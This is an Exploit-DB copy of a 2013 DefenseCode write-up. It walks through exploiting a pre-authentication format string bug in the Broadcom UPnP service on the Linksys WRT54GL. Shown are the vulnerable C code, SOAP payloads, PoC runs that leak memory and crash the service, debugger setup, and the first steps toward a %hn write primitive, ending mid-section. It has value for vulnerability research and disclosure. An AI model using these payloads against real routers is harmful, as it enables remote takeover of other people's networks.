From Zero to ZeroDay Journey: Router Hacking (WRT54GL Linksys Case)

EDB-ID:

41847

CVE:

N/A




Platform:

Multiple

Date:

2017-04-09


From Zero to ZeroDay Journey: Router Hacking (WRT54GL Linksys Case)
===================================================================
- Leon Juranic <leon[at]defensecode.com>
  http://www.defensecode.com/
  Date: 03/10/2013

Table Of Content:

===[ 1. Introduction
===[ 2. Vulnerability background 
===[ 2.1 Know Your Enemy - Linksys WRT54GL 
===[ 2.2 UPnP brief history and protocol basics
===[ 2.2.1 Addressing 
===[ 2.2.2 Discovery
===[ 2.2.3 Description
===[ 2.2.4 Control
===[ 2.2.5 Eventing
===[ 2.2.6 Presentation
===[ 3. Vulnerability details
===[ 4. Basic Proof Of Concept Exploit
===[ 5. Debugging Environment
===[ 5.1 Required Hardware 
===[ 5.2 Required Software
===[ 5.3 Debugging
===[ 6. Pieces for the exploit
===[ 7. PC register takeover
===[ 8. Gaining control over the router
===[ 9. Post-intrusion fun
===[ 10. Greetz & shouts
===[ 11. About DefenseCode
===[ Cisco Linksys WRT54GL Exploit
===[ Vulnerable Manufacturers And Router Models



===[ 1. Introduction

Hacking network devices is a sort of the Holy Grail for hackers, because
once we're in a network device like a router or switch, we can (more-or-less)
overtake all machines behind it. 
Network traffic sniffing, man-in-the-middle attacks, binary infection 
on-the-fly, further network penetration, so on, and so on... 
Hell, you can even play games on someone's router if you want. :)

A few months ago I've stumbled across a very interesting remote preauthentication
code execution vulnerability in a very popular Cisco Linksys router, present in 
default installation. 
Vulnerability itself was initially located in Cisco Linksys WRT54GL model.
According to data available on the internet, Cisco Linksys WRT54GL
alone was sold >20M worldwide. 

At first, that seemed like immense and very interesting playground - 
and vulnerability that definitely deserves attention. 
To make it even funnier, later it turned out that other Cisco Linksys 
models are vulnerable, and even more - many other router models from other 
manufacturers are also affected by the very same vulnerability.
Just to name a few: ASUS, D-Link, Zyxel, US Robotics, TP-Link, Netgear, etc. 
Full vulnerable vendor list reference is present at the end of the article.
During the further vulnerability analysis and data provided by HD Moore (thanks;) of 
Metasploit/Rapid7, it turned out that there are at least 15M vulnerable routers
visible (hackable;-) directly from the internet. Probably many more in local
networks and wireless hotspots.

Hacking embedded devices like routers is always funny, basically because they're 
designed as closed Black-Box systems for specific purpose. 
Interesting thing for embedded devices is that a very small percent of users will
ever actually upgrade (flash) their routers with new firmware when some 
vulnerability is discovered, no matter how dangerous the vulnerability is.
That said, I think it's safe to assume that years after this article, there will
still be many vulnerable routers out there. 

In the following article, we will show you how to remove the shroud of Black-Box 
mist from router devices like that, and even more - to have some fun while doing 
that. Join us on "From Zero To ZeroDay" journey...



===[ 2. Vulnerability background 

When some vulnerability is present across multiple router models from various router 
manufacturers, logical assumption is that the vulnerable component itself is developed by 
a third party.
Remote preauth vulnerability we'll discuss in this article is present in the UPnP 
protocol implementation originally developed by Broadcom Company and distributed by 
many router manufacturers (full vulnerable vendor list at the end). 
UPnP stands for Universal Plug and Play protocol. 

Brief description:
"Universal Plug and Play (UPnP) is a set of networking protocols that permits 
networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points
and mobile devices to seamlessly discover each other's presence on the network and establish 
functional network services for data sharing, communications, and entertainment."

So basically, UPnP is designed to connect all your computers, gadgets, TV's, Microwave 
Ovens and Refrigerators together. Almost all popular SOHO routers will support 
UPnP nowadays, and in most cases, UPnP is turned on by default on them.

For start, there are couple of major design flaws within the UPnP protocol and
its implementations. 
First of all - it doesn't require any form of authentication, and second - many UPnP 
implementations will accept requests directly from the WAN interface.
In a modern, interconnected world, any little bit more complex protocol that doesn't support 
any sort of authentication is a self-sufficient bad idea, but when implementations of protocol
like that also listen on WAN interface by default, it's a sort of a time-bomb anxiously 
waiting to go off.

Another interesting thing about UPnP is that the protocol itself is (comparing to other
popular internet protocols) relatively new, because it was introduced in the late 90's.
That's why UPnP protocol and its implementations deserve attention from security perspective.

Over the time, various flaws were discovered in different UPnP protocol implementations.

In 2001 - eEye discovered critical vulnerabilities in Microsoft UPnP implementation
In 2006 - Various UPnP IGD implementation defects disclosed by Armijn Hemel
In 2008 - GNUcitizen abused Adobe Flash to reconfigure routers with UPnP
In 2011 - Security researcher Daniel Garcia exploited the flaw in some UPnP IGD
          implementations on devices that allows UPnP requests on WAN.
In 2013 - DefenseCode discloses Broadcom UPnP implementation remote preauth code 
		  execution in various router devices (described in this article)
In 2013 - HD Moore of Rapid7 discloses Multiple UPnP vulnerabilities in various 
		  router devices

In the following sub-chapters, we will present specification and technical description
of our target - Cisco Linksys WRT54GL router (know your enemy, right?:-), along with some basic 
UPnP protocol specification. 




===[ 2.1 Know Your Enemy - Cisco Linksys WRT54GL 

Later in the article we will describe how to gain remote shell on Cisco Linksys wireless router 
- WRT54GL model, but be patient, young Jedi. First, let's see what is inside the box, just to know 
what we're dealing with.
Cisco Linksys WRT54GL is a very popular Wi-Fi capable broadband router originally developed by Cisco 
Linksys. 
WRT54GL model comes in two hardware versions - 1.0 and 1.1 with basically the same hardware
specification. Our focus is on hardware version 1.1, with default firmware version - 4.30.7.

The specification is presented below.

+=======================================================+
|  Cisco Linksys WRT54GL model - Hardware and Features  |
+=======================================================+
| CPU: Broadcom BCM5352 chipset - 200 MHz               |
+-------------------------------------------------------+
| CPU Architecture: Broadcom MIPS                       |
| (Microprocessor without Interlocked Pipeline Stages)  |
| Based on RISC (Reduced instruction set computing)     |
| Little Endian                                         |
+-------------------------------------------------------+
| RAM: 16 MB                                            |
+-------------------------------------------------------+
| Flash memory: 4 MB                                    |
+-------------------------------------------------------+
| OS: Linux                                             |
+-------------------------------------------------------+
| Frequency band: 2.4 GHz                               |
+-------------------------------------------------------+
| Data transfer rate: 54 Mbps                           |
+-------------------------------------------------------+
| Interfaces: WAN : 1 x Ethernet 10Base-T/100Base-TX    |
| - RJ-45, LAN / DMZ : 4 x Ethernet 10Base-T/100Base-TX |
| - RJ-45                                               |
+-------------------------------------------------------+
| Data link: Ethernet, IEEE 802.11b, IEEE 802.11g, Fast |
| Ethernet                                              |
+-------------------------------------------------------+
| Remote management: HTTP                               |
+-------------------------------------------------------+
| Features: Dynamic IP address assignment, Firewall     |
| protection, DMZ port, Auto-sensing per device,        |
| Auto-negotiation, Auto-uplink (auto MDI/|MDI-X),      |
| MAC address filtering, Firmware upgradable, Wi-Fi     |
| Multimedia (WMM) support, Stateful Packet Inspection  |
| (SPI), DHCP support                                   |
+-------------------------------------------------------+
| Encryption Algorithm: WPA2, WPA, 128-bit              |
| WEP, 64-bit WEP                                       |
+-------------------------------------------------------+
| Compliant standards: IEEE 802.11g, IEEE 802.11b,      |
| Wi-Fi CERTIFIED, UPnP, IEEE 802.3u, IEEE 802.3        |
+-------------------------------------------------------+





===[ 2.2 UPnP brief history and protocol basics

Protocol descriptions can be somewhat dull and boring, and to be honest I wasn't thrilled 
when I had to write this chapter. I've included it solely because UPnP itself is really 
kinda "messed-up", so maybe it's not a bad idea to have some basic concepts included.
If this is your first real encounter with UPnP, I suggest reading, otherwise skip it.

As stated earlier, Universal Plug and Play (UPnP) protocol was introduced in late 90's.
A few different vendors were working on their own solutions for creating a protocol 
whose purpose would be easier network devices and applications management. 

UPnP predecessor, or better say, distant cousin was Sun's Jini, introduced in 1998. 
Sun's Jini was developed with management purpose for co-operation between services of 
distributed systems.
Somewhat later Microsoft stepped forward with UPnP protocol. 
UPnP protocol is based on a few popular internet protocols and technologies like IP, TCP, 
UDP, HTTP, and XML.

UPnP protocol stack implementation has 6 layers, of which the first one (addressing) is 
optional. 

UPnP stack layers:
0. Addressing
1. Discovery
2. Description
3. Control
4. Eventing
5. Presentation

A short description of UPnP protocol layers is presented below (if you're too lazy to read a more
detailed description):

- Addressing   - UPnP device will obtain IP through DHCP or Auto-IP
- Discovery    - UPnP capability to discover other devices on the network
- Description  - XML file that will describe UPnP services 
- Control      - How to command other UPnP device or program to do something
- Eventing     - "State variables" for UPnP-enabled device or program states
- Presentation - User interface


===[ 2.2.1 Addressing (optional)

Default behavior of devices with UPnP support is to get IP address through DHCP 
(Dynamic Host Configuration Protocol) if possible. According to the UPnP protocol 
specification, UPnP device which does not implement DHCP server itself must include DHCP client, 
and search for DHCP server when the device is first connected to the network.
If a DHCP server is available, device must use IP address assigned to it.
If DHCP server is not available, device must use automatic IP addressing (Auto-IP)
to obtain and address. Auto-IP is defined in RFC 3927.


===[ 2.2.2 Discovery

When the UPnP-enabled device is connected to the network, it will send out a Discovery 
message over the UDP (User Datagram Protocol) to the multicast address 239.255.255.250 on the
UDP port 1900. Discovery protocol itself is named SSDP (Simple Service Discovery Protocol),
and is very similar to the HTTP (Hyper Text Transfer Protocol).
SSDP discovery message purpose is to discover other UPnP-enabled devices available on the
network.

Start line of the SSDP protocol must be one of these:

1. NOTIFY * HTTP/1.1\r\n
2. M-SEARCH * HTTP/1.1\r\n
3. HTTP/1.1 200 OK\r\n

One standard SSDP request sent to the multicast address is presented below:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: ssdp:discover
MX: 10
ST: ssdp:all

UPnP-enabled devices on the network are supposed to reply to the 'Discovery' requests
with response similar to this:

HTTP/1.1 200 OK
CACHE-CONTROL:max-age=1800
EXT:
LOCATION:http://10.0.0.138:80/IGD.xml
SERVER:SpeedTouch 510 4.0.0.9.0 UPnP/1.0 (DG233B00011961)
ST:urn:schemas-upnp-org:service:WANPPPConnection:1
USN:uuid:UPnP-SpeedTouch510::urn:schemas-upnp-org:service:WANPPPConnection:1

See all those "special characters" in request and response? Many UPnP implementations 
will parse and tokenize them in interesting ways... Speaking of where to look for 
overflows... :)


===[ 2.2.3 Description

Response for the 'Discovery' message contains LOCATION header. Location header contains
URL where the service profile is located. Profile itself is a XML format file.
In previous case, it's http://10.0.0.138:80/IGD.xml. XML profile will contain control URL's
where later described control and eventing phase can send commands to.


===[ 2.2.4 Control

In control layer, a UPnP-enabled device or program can send commands to another UPnP-enabled
device or program in order to perform some task previously described in a profile description
XML file. Communication is driven using SOAP (Simple Object Access Protocol).
Particular service described in profile XML file can be requested by sending a SOAP request
to the specific control URL with adequate parameters. 


===[ 2.2.5 Eventing

UPnP has state variables which purpose is to keep some state of UPnP devices and programs.
Another UPnP-enabled device or program can subscribe to the device state variables of 
UPnP-enabled device. When state is changed, the new state is sent to all subscribed
UPnP-enabled devices or programs.


===[ 2.2.6 Presentation

Presentation layer stands for user interface, no further description needed.





===[ 3. Vulnerability details

As we previously said, the vulnerability is located in Broadcom UPnP stack, used
in Cisco Linksys WRT54GL, and in many other router models from other vendors.
The vulnerability itself is present in IGD (Internet Gateway Device) module of
a Broadcom UPnP stack. 

Vulnerable piece of code can be called through SetConnectionType and 
GetConnectionTypeInfo functions of 'wanipc' and 'wanppp' modules. 
It can be reached with a single SOAP request for SetConnectionType function.
The vulnerability is very interesting because it is a classic Format String bug,
that can be exploited to remotely read or write memory on vulnerable router 
devices (without prior authentication).
Format string vulnerability is present in all Cisco Linksys WRT54GL 
firmware versions up to (and included) - 4.30.15.

In this article, we will assume that you already know what a format string
vulnerability is, and how it can be exploited. For newcomers, detailed
description of format string bugs can be found on 
http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf.

Format string vulnerability is present because user-input value from SOAP request is 
supplied as a format string argument to the snprintf() function in files wanipc.c 
and wanpp.c. Vulnerable code lines are located in the following files and code lines

/upnp/igd/wanipc.c:
-------------------
static int SetConnectionType(UFILE *uclient, PService psvc, PAction ac,
pvar_entry_t args, int nargs) {

snprintf(psvc->vars[VAR_ConnectionType].value, sizeof(psvc->vars[
VAR_ConnectionType].value), ac->params[0].value);  <------ HERE

return TRUE;

}
-------------------


/upnp/igd/wanppp.c:
-------------------
int WANPPPConnection_SetConnectionType(UFILE *uclient, PService psvc,
PAction ac, pvar_entry_t args, int nargs)
/* "SetConnectionType", WANPPPConnection_SetConnectionType, */
{

snprintf(psvc->vars[VAR_ConnectionType].value, sizeof(psvc->vars
[VAR_ConnectionType].value), ac->params[0].value);  <------ HERE

return TRUE;

}
-------------------

Vulnerability itself can be reached with a single SOAP request that calls
SetConnectionType function as presented below. 

SetConnectionType:
-------------------
<?xml version="1.0"?>
<SOAP-ENV:Envelope...>
<SOAP-ENV:Body>
<m:SetConnectionType
xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as="">
<NewConnectionType> #FORMAT_STRING# </NewConnectionType>
</m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
-------------------


Format string output is available through GetConnectionTypeInfo SOAP 
request.

GetConnectionTypeInfo:
----------------------
GetConnectionTypeInfo:
<?xml version="1.0"?>
<SOAP-ENV:Envelope...>
<SOAP-ENV:Body>
<m:GetConnectionTypeInfo
xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
</m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
----------------------

For start, in the following chapter, we will show you how to reach vulnerable code 
with a simple proof of concept exploit.




===[ 4. Basic Proof Of Concept Exploit

Like most researchers out there, whenever I'm developing some exploit, prior to any 
serious steps I will try to write a PoC exploit just to verify the vulnerability.
Cisco Linksys WRT54GL UPnP SOAP service is listening on TCP port 5431, so all 
requests from our PoC exploit will be sent to that port. Also worth mentioning is 
that router's UPnP service is running under the root account.
To reach format string bug itself, we will use two different SOAP requests for SetConnectionType
and GetConnectionTypeInfo actions.
SetConnectionType will be used for setting the format string and GetConnectionTypeInfo method
for reading the format string output.

It is also important to mention that appropriate UUID must be set in POST requests for SOAP service. 
In case of Cisco Linksys WRT54GL (version 4.30.7), UUID is 586d-8fd8-04f5020099dc.


SOAP Requests will be formed as presented below.

1. SetConnectionType (HTTP)
   - SOAP header SOAPAction for SetConnectionType
      - urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType
   - XML with <NewConnectionType>#FORMAT_STRING#</NewConnectionType>

2. GetConnectionTypeInfo (HTTP)
   - SOAP header SOAPAction for GetConnectionTypeInfo
      - urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo
   - XML with <m:GetConnectionTypeInfo></m:GetConnectionTypeInfo>
     

Just to mention, vulnerable UPnP IGD network stack will respond with 
"Server" HTTP header like - "LINUX/2.4 UPnP/1.0 BRCM400/1.0".

PoC exploit source code is attached at the end of the file. This simple PoC
will only take one argument (format string to set). Just to mention -  
router's IP address is hardcoded into the PoC exploit source (192.168.1.1 default)

Let's try it now...

[root@defensecode linksys]# python cisco_linksys_poc.py
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <leon@defensecode.com>
> Usage: cisco_linksys_poc.py <FMTSTRING>


[root@defensecode linksys]# python cisco_linksys_poc.py _%x_%x_%x_%x_%x
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <leon@defensecode.com>

> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap.o
rg/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><
s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:WA
NIPConnection:1"><NewConnectionType>_7fff7b60_10009190_1_10009190_413940</NewCon
nectionType><NewPossibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPo
ssibleConnectionTypes></m:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r
\n'
> FMT RESPONSE: _7fff7b60_10009190_1_10009190_413940


Ok, now we're getting somewhere. In the response above, you will see router
memory addresses, so we can use this interesting format string bug to read 
router's memory. Let's try some more...


[root@defensecode linksys]# python cisco_linksys_poc.py _%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <leon@defensecode.com>

> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:
WANIPConnection:1"><NewConnectionType>_7fff7b60_10009190_1_10009190_413940_0_7ff
f7bd8_7fff7c28_7fff7bed_1_7fff7bd8_10009190_0_1000056c</NewConnectionType><NewPo
ssibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTy
pes></m:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n'
> FMT: _7fff7b60_10009190_1_10009190_413940_0_7fff7bd8_7fff7c28_7fff7bed_1_7fff7
bd8_10009190_0_1000056c


We're definitely getting somewhere... 
Now let's try to crash the service itself with "%n" format string.


[root@defensecode linksys]# python cisco_linksys_poc.py %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <leon@defensecode.com>

> Cannot connect to the target port...

Ok, so now we know that we can use this vulnerability to crash Cisco Linksys WRT54GL 
UPnP SOAP service. Router has to be restarted to start the UPnP service again...
However, that's not really interesting to us. We're heading towards that magic '#' 
character - the root shell :)

Our next step is full exploit development for the router. 
We all know that for exploit development process, debugger is a must-have tool,
otherwise, you'll walk in the dark for a long time - but that's especially true when 
you're hacking some "obscure" embedded device. 

For some time I have been thinking about how this exploit could be developed without a debugger, 
just by using the remote memory read feature of format string bug, but it's not all 
that easy, and it would be a waste of time (even just to confirm that it's too hard to do).
So, our next logical step is setting up a debugging environment for our target router,
with the whole process described in the next chapter.




===[ 5. Debugging Environment

Debugging embedded devices is not exactly easy as debugging local programs. In fact,
it can be much more complicated, or better say... time-consuming and annoying.

First you need to buy hardware for serial port access, then you need to open your router up and 
connect the serial interface to it, then you need to cross-compile debugging tools and also 
upload them to the router for the purpose of debugging. 

Debugging environment setup is described in the following chapters.



===[ 5.1 Required Hardware 

EIA standard RS-232-C, or more popular "serial port" dates from the 1960s.
It is used to connect two devices and exchange binary data and control signals between them. 
Over the last decade or two it's being surpassed by USB due to its (RS232C) low transmission 
speed, large voltage swing, and large connectors.

Nevertheless it is still being used in equipment like network devices, as it is the case in 
our Cisco Linksys WRT54GL. 
Here it can be used to access the boot loader and shell which is not accessible over the network 
interface. 

However, this router port is not exposed to the outside world, but only as a placeholder 
of 2 rows of 5 soldering points on the circuit board of the device. Besides not being physically 
exposed to the outside, its voltages are not quite the ones dictated by the standard, so a little 
electronic circuit is required in order to interface the low circuit board serial port voltage 
(3.3V) to the one expected by the computer serial port. If the computer which connects to the 
router over serial port doesn't actually have a serial port, a USB-to-serial is needed.

There are actually two serial ports on the circuit board of the Linksys router. The holes 
locations are indicated on the image below with "SERIAL PORTS" together with pin numbering, 
and the pinout is as follows:

  Serial port 1 (ttyS0)
  2 - Vcc 3.3V
  4 - Tx 0
  6 - Rx 0
  8 - n/c
 10 - GND

  Serial port 2 (ttyS1)
  1 - Vcc 3.3V
  3 - Tx 1
  5 - Rx 1
  7 - n/c
  9 - GND

 [Reference: http://wiki.openwrt.org/toh/linksys/wrt54g]


  +-+   <----- antenna connectors ---->  +-+
  I I                                    I I
  I I____________________________________I I
 |###  | | |     LAN     |  |WAN|  rst   ###|
 |###  |_| |___ethernet__|  |___|        ###|
 |     pwr                                  |
 |                                          |
 |                                          |
 |                                          |
 |        +------+                          |
 |        | CPU  |    ______________________|
 |        |      |    |
 |        +------+    |
 |                    |
 |             10 oo 9| \
 |                oo  |  \
 |                oo  |   > SERIAL PORTS
 |                oo  |  /
 |              2 o# 1| /
 |                    |
 |                ::  |
 |                ::  |
 |                ::  |
 +T---#-#--######-----+
  I   * *  ******
wlan  \---LED---/
btn


It is best to solder a pin header for the serial ports and avoid further
soldering iron contact with the sensitive PCB. The voltage levels adapter used for 
debugging was a cheap one ($15) from ebay which had a pin header with Tx,Rx,GND,Vcc 
labels and 4 wires which easily attach to the soldered pin header. I'm sure you can get 
one in your favorite hackterial store. 

Chip in the adapter that does the "voltage magic" is usually labeled similar to the 
one first created by Maxim Integrated Products, named "MAX232".
Is it necessary mentioning that opening the case and soldering things to the device
will void the warranty?



===[ 5.2 Required Software

When appropriate hardware is installed, we need some program for serial port 
communication, because we will have to connect to the router's console.
You can use 'minicom' or 'screen', or whatever else you prefer, as long as it is 
suitable for remote serial console communication. Baud rate for Cisco Linksys 
WRT54GL serial console should be set to the 115200 bit/s, otherwise you will get 
garbage output from the console.

Once we're connected to the router serial console, we will have local
root access on router as presented below:

---
BusyBox v0.60.0 (2006.06.20-06:42+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

#
# cat /proc/cpuinfo
system type             : Broadcom BCM947XX
processor               : 0
cpu model               : BCM3302 V0.8
BogoMIPS                : 199.47
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
VCED exceptions         : not available
VCEI exceptions         : not available
unaligned_instructions  : 4
dcache hits             : 3773443533
dcache misses           : 2109193075
icache hits             : 2638947518
icache misses           : 3574102219
instructions            : 0

# ps aux
  PID  Uid     Stat Command
    1 0         S    init noinitrd
    2 0         S    [keventd]
    3 0         S    [ksoftirqd_CPU0]
    4 0         S    [kswapd]
    5 0         S    [bdflush]
    6 0         S    [kupdated]
    7 0         S    [mtdblockd]
   21 0         S    resetbutton
   56 0         S    tftpd -s /tmp -c -l
   57 0         S    cron
   60 0         S    httpd
   65 0         S    ses -f
   69 0         S    upnp -D -L br0 -W vlan1 -S 0 -I 60 -A 180
   72 0         S    udhcpc -i vlan1 -l br0 -p /var/run/wan_udhcpc.pid -s /tmp/
   93 0         S    /bin/sh
   96 0         R    ps aux

# nvram show
filter_dport_grp3=
wl_mac_deny=
wl_radius_port=1812
opo=0x0008
filter_dport_grp4=
wan_unit=0
filter=on
filter_dport_grp5=
wl0_net_mode=mixed
os_ram_addr=80001000
filter_dport_grp6=
filter_dport_grp7=
filter_dport_grp8=
wl0_frameburst=off
filter_dport_grp9=
log_ipaddr=0
ddns_username_2=
...
...
...
---

For detailed debugging, we will use gdb server cross-compiled for MIPS(LE)
architecture and gdb compiled with MIPS(LE) support. LE suffix stands for 
Little Endian.

The crucial step is cross-compiling essential tools (like gdb, nc, etc) 
in order to have basic environment for exploitation.

There are various pre-made cross-compiling toolchains to help in
cross-compiling. You can just google for "cross compiling toolchains"
and you will find a lot of tools. Good ones include CodeSourcery,
Scratchbox, and Buildroot.

Since we only needed a few tools, buildroot was our toolchain of
choice. It can be downloaded from: http://buildroot.uclibc.org/ and
everyone who have compiled Linux kernel or openwrt (for example) themselves, 
would find their way around toolchain quickly.

We have used gdb version 6.8 since it is easier for cross-compiling than
a newer version. Since embedded architectures are usually limited
in resources, gdb has a nice feature to only have small binary called gdbserver 
on embedded device and have full blown gdb on desktop. 
Cross compiling and statically building gdbserver is straightforward. 

Afterwards, you can just run gdbserver on target device and run gdb on 
desktop/laptop PC telling gdb to connect to gdbserver in
order to perform remote debugging (there is also some good gdb documentation
on this topic if you are not familiar with this process).




===[ 5.3 Debugging

In this chapter we'll demonstrate UPnP service debugging. First, we will start gdbserver on 
router device and attach it to the UPnP service. Afterwards, we will run gdb debugger on our
desktop/laptop computer, and connect it to the remote gdbserver debugging session.
gdb client will be connected from the IP address 192.168.58.129, and gdbserver service
will listen on port 5000. UPnP process PID is in this case 69.

Following commands are issued on the router device via the serial console:

# ps aux
...
   69 0         S    upnp -D -L br0 -W vlan1 -S 0 -I 60 -A 180
...

# ./gdbserver --attach 192.168.58.129:5000 69
Attached; pid = 69
Listening on port 5000
Remote debugging from host 192.168.1.100


When everything is set, we will run the following command (target remote 
192.168.1.1:5000) on the gdb client side.
 
[root@defensecode linksys]# ./gdb
GNU gdb (GDB) 7.5
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=i686-redhat-linux-gnu --target=mipsel-linux".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.

(gdb) target remote 192.168.1.1:5000

Remote debugging using 192.168.1.1:5000
0x2ac216f4 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 1000fc01 00000202 00000000 00000007 7fff7d80 00000000 00000001
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   0000fc00 00000000 00000000 00000000 809832a4 00000001 809832a0 00000007
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 7fff7d80 00000007 10006060 10006040 10007fa0 00000001 00000000
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000000 2ac21690 00000000 00000000 2ac732a0 7fff7d10 00000000 0040abd8
            sr       lo       hi      bad    cause       pc
      00000000 00000006 00000000 8005a7b8 00000020 2ac216f4
           fsr      fir
      00000000 00000000
(gdb) c
Continuing.

Ok, we have active gdb debugging session with UPnP service on our Cisco Linksys
WRT54GL router. Now we can move on to the real thing...




===[ 6. Pieces for the exploit

We have everything ready for the magic now...
It is assumed that dear reader is familiar with format string vulnerability exploitation 
technique, so no details about it will be given here.

That said, first steps in exploitation process is to discover where is our input located 
in the memory. Later, we will use that for "%n" format string write ability, 
to overwrite arbitrary memory locations, and to gain the control of PC register.

In the following example, previously introduced PoC exploit will be used to crash UPnP 
service, and analyze memory environment.

[root@defensecode linksys]# python cisco_linksys_poc.py %n%n%n%n%n%n%n%n
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <leon@defensecode.com>

When PoC exploit is started, our gdb debugging session will be interrupted 
with segmentation fault.
If we examine SP register, we will see that our input (or better say SOAP XML
request) is located above the memory address where SP points.

(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x2ac10680 in ?? ()
(gdb) i r sp
sp: 0x7fff7820
(gdb) x/s $sp
...
...
0x7fff7bd7:     ""
(gdb)
0x7fff7bd8:     "</m:SetConnectionType"
(gdb)
0x7fff7bee:     "nfo"


On the memory address 0x7fff7bd8, there is a part of our input - closing of SetConnectionType. 
That should be enough for us to obtain write-4-anywhere primitive through the format string
("%hn" type). 
It is important to mention that Cisco Linksys WRT54GL is using uClib 
(C library developed for the embedded Linux systems). Less fortunate thing about uClib is that 
it doesn't support format string '$' feature that can be used for direct memory parameter access. 
So, it will be necessary to perform stack-pops until our input is reached.

Now we know where our input can be found, let's try to put something there that we 
can control.
We will change payload for our GetConnectionTypeInfo SOAP request and add some custom data to it,
as presented below:

---
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" 
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>AAAAAAAAAAAAAAAAAAAAAA
	<AAAABBBBCCCCEEEEFFFFGGXXXXAAAAAAAAXXXXIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU>
	<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">

	</m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
---


Let's try the PoC exploit again with new payload. This PoC will only call 
GetConnectionTypeInfo function.

[root@defensecode linksys]# python cisco_linksys_exploit.py %u
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <leon@defensecode.com>

> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:
WANIPConnection:1"><NewConnectionType>IP_Routed</NewConnectionType><NewPossibleC
onnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTypes></m
:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n'
> FMT: IP_Routed


Memory content after modified PoC exploit execution is presented below.

(gdb) x/s 0x7fff7bd4
0x7fff7bd4:     "\rT"
(gdb)
0x7fff7bd7:     ""
(gdb)
0x7fff7bd8:     "</AAAABBBBCCCCEEEEFFFFGGXXXXAAAAAAAAXXXXIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSST"
(gdb)
0x7fff7c28:
(gdb)
0x7fff7c2b:     "\020=\224"


Now we have controllable input that can be used as memory address reference for 
arbitrary memory overwrite with "%hn" format string.
To verify that we really have write-4-anywhere primitive, we will now again
modify the PoC exploit, and again re-introduce the call to SetConnectionType with %hn 
(%n half-write).

Format string itself is formatted as presented below (python):
---
sendfmt = "%u" * 82 + "%.u%hn" + "%.u%.u%hn" 
---

After executing modified PoC exploit with a new format string and controllable
input, we will again get segmentation fault, as presented below.

Program received signal SIGSEGV, Segmentation fault.
0x2ac1068c in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000200 00000200 00000231 58585858 00000200 00000231 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  1000969e 1000969d 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
            sr       lo       hi      bad    cause       pc
      00000000 00000000 00000000 8005a7b8 0000000c 2ac1068c
           fsr      fir
      00000000 00000000
(gdb) x/i $pc
=> 0x2ac1068c:  sh      a2,0(a0)

Program will crash at 'sh a2,0(a0)' instruction. If we check MIPS architecture manual,
sh instruction is pretty straightforward:
---
sh Rsrc1, imm(Rsrc2): Store Halfword
